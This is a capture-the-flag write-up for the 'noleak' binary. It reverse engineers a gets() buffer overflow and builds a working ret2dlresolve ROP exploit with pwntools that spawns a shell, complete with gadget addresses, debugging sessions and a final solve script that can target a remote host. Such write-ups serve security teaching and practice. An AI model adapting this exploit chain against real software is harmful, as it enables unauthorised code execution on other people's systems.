Noleak
7 minutes to read
We are provided a 64-bit binary called noleak
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Reverse engineering
Its decompiled C source code is pretty simple:
undefined8 _() {
undefined8 unaff_RBP;
return unaff_RBP;
}
void FUN_00401060(FILE *param_1, char *param_2, int param_3, size_t param_4) {
setvbuf(param_1, param_2, param_3, param_4);
}
undefined8 vuln() {
undefined8 param_10;
undefined8 local_12;
undefined2 local_a;
local_12 = 0;
local_a = 0;
gets((char *) &local_12);
return param_10;
}
undefined8 main(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4, undefined8 param_5, undefined8 param_6) {
FUN_00401060(stdin, 0, 2, 0, param_5, param_6, param_2);
FUN_00401060(stdout, 0, 2, 0);
FUN_00401060(stderr, 0, 2, 0);
vuln();
return 0;
}
Basically, we have a program that uses gets
in a 10-byte buffer ("undefined8
+ undefined2
"). Since gets
does not verify the size of the buffer, we have a clear Buffer Overflow vulnerbility.
Exploit strategy
The problem is how to exploit it, since we have no function that allows us to leak memory addresses (we only have access to setvbuf
and gets
). In these cases, a technique known as ret2dlresolve is usually carried out, which can be automated very easily with pwntools
.
The other problem that exists is that the binary is compiled in Ubuntu 22.04, with Glibc 2.35, so there is no typical pop rdi; ret
gadget to perform ROP and so, a simple ret2dlresolve exploit like the following (taken from Void) won’t work:
from pwn import *
context.binary = 'void'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.read(0, dlresolve.data_addr)
rop.raw(rop.ret[0])
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
p = context.binary.process()
p.sendline(b'A' * 72 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
Even so, the creator of the challenge has been generous and has put a function called _
that basically gives us a pop rax; ret
gadget. This, added to another mov rdi, rax; ret
gadget gives us the equivalent to a pop rdi; ret
:
$ ROPgadget --binary noleak | grep rdi
0x0000000000401160 : mov rdi, rax ; ret
0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x0000000000401138 : sub ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
$ ROPgadget --binary noleak | grep 'pop rax'
0x0000000000401159 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x0000000000401156 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x000000000040115c : mov ebp, esp ; pop rax ; ret
0x000000000040115b : mov rbp, rsp ; pop rax ; ret
0x000000000040115e : pop rax ; ret
0x000000000040115a : push rbp ; mov rbp, rsp ; pop rax ; ret
Exploit development
After a long time debugging, trying to implement ret2dlresolve manually using the previous gadgets and even looking for other exploitation strategies (thinking of similar challenges such as rop-2.35), finally I tried to simplify the situation and build from there.
The key point was to start from a ret2dlresolve exploit with pwntools
that should work with a pop rdi; ret
gadget:
from pwn import *
context.binary = 'noleak'
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p = context.binary.process()
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
The exploit is very similar to the previous one, it only changes the use of gets
instead of read
, the ret
(which is not needed at the moment) has been removed and the offset has been updated to exploit the Buffer Overflow at 18 bytes.
However, the problem is the one we already knew, that pwntools
is not able to build the ROP chain because it does not find the pop rdi; ret
gadget, which is necessary to be able to configure the first argument to gets
.
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 6 cached gadgets for 'noleak'
[ERROR] Could not satisfy setRegisters({'rdi': 4214272})
So it occurred to me to cheat and use the Glibc library to give pwntools
a pop rdi; ret
gadget. To do this, it was necessary to add GDB to the process and give the Glibc base address before creating the ROP chain:
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
glibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = context.binary.process()
gdb.attach(p, 'continue')
glibc.address = int(input('Glibc address: '), 16)
rop = ROP([context.binary, glibc])
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
We run it:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 24800
[*] running in new terminal: ['/usr/bin/gdb', '-q', './noleak', '24800', '-x', '/tmp/pwnjdk9xo77.gdb']
[+] Waiting for debugger: Done
Glibc address:
Now in the debugger we look at the Glibc address to put it in the exploit:
gef> libc
---------------------------------- libc info ----------------------------------
$libc = 0x7f7b57a00000
path: /usr/lib/x86_64-linux-gnu/libc.so.6
sha512: b6f66f4643a14c3b7d97ef2ba2cc3a2670ef943f0624ffae6ad57cc2950c16d14156eab45d5827b194223062e5fbdb1d57d98a266723fd9dbdf6d0e657c080e8
sha256: bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a
sha1: 2f1387a64ad0eb7906fe82c4efab9b5cfbd55467
md5: 9ee1a1aa1bbd6bf8d7f3a90c0ea5d135
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
gef> continue
Continuing.
And with this, ret2dlresolve works with pwntools
:
Glibc address: 0x7f7b57a00000
[*] Loaded 6 cached gadgets for 'noleak'
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7f7b57a2a3e5 pop rdi; ret
0x0008: 0x404e00 [arg0] rdi = 4214272
0x0010: 0x401054 gets
0x0018: 0x7f7b57a2a3e5 pop rdi; ret
0x0020: 0x404e38 [arg0] rdi = 4214328
0x0028: 0x401020 [plt_init] system
0x0030: 0x304 [dlresolve index]
[*] Switching to interactive mode
$ whoami
[*] Got EOF while reading in interactive
$
The exploit does not run because of stack alignment. That is, we need to put a ret
gadget so that the stack is aligned before calling system ("/bin/sh")
, it is easy to fix:
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
glibc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
p = context.binary.process()
gdb.attach(p, 'continue')
glibc.address = int(input('Glibc address: '), 16)
rop = ROP([context.binary, glibc])
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
rop.gets(dlresolve.data_addr)
rop.raw(rop.ret.address)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
If we follow the same procedure before, now it works and we have a shell:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 31291
[*] running in new terminal: ['/usr/bin/gdb', '-q', './noleak', '31291', '-x', '/tmp/pwn93dt8c86.gdb']
[+] Waiting for debugger: Done
Glibc address: 0x7fab0cc00000
[*] Loaded 6 cached gadgets for 'noleak'
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
0x0000: 0x7fab0cc2a3e5 pop rdi; ret
0x0008: 0x404e00 [arg0] rdi = 4214272
0x0010: 0x401054 gets
0x0018: 0x40101a ret
0x0020: 0x7fab0cc2a3e5 pop rdi; ret
0x0028: 0x404e38 [arg0] rdi = 4214328
0x0030: 0x401020 [plt_init] system
0x0038: 0x304 [dlresolve index]
[*] Switching to interactive mode
$ whoami
rocky
With this, what we have achieved is a ROP chain that works with a ret2dlresolve payload that also works. Now we can take the ROP chain and replace the pop rdi; ret
gadget that comes from Glibc for a combination of pop rax; ret
and mov rdi, rax; ret
, that are in the binary (and there is no PIE protection):
#!/usr/bin/env python3
from pwn import *
context.binary = 'noleak'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1], sys.argv[2]
return remote(host, port)
p = get_process()
dlresolve = Ret2dlresolvePayload(context.binary, symbol='system', args=['/bin/sh\0'])
pop_rax_ret_addr = 0x40115e
mov_rdi_rax_ret_addr = 0x401160
ret_addr = 0x40101a
raw_rop = p64(pop_rax_ret_addr)
raw_rop += p64(0x404e00)
raw_rop += p64(mov_rdi_rax_ret_addr)
raw_rop += p64(context.binary.plt.gets)
raw_rop += p64(ret_addr)
raw_rop += p64(pop_rax_ret_addr)
raw_rop += p64(0x404e38)
raw_rop += p64(mov_rdi_rax_ret_addr)
raw_rop += p64(0x401020)
raw_rop += p64(0x304)
p.sendline(b'A' * 18 + raw_rop)
p.sendline(dlresolve.payload)
p.interactive()
If we execute the exploit locally, we get a shell:
$ python3 solve.py
[*] './noleak'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './noleak': pid 35222
[*] Switching to interactive mode
$ whoami
rocky
Flag
Remotely, we can see the flag: HackOn{ez_noleak_r0p_4_th3_w1n}
. The full exploit can be found in here: solve.py
.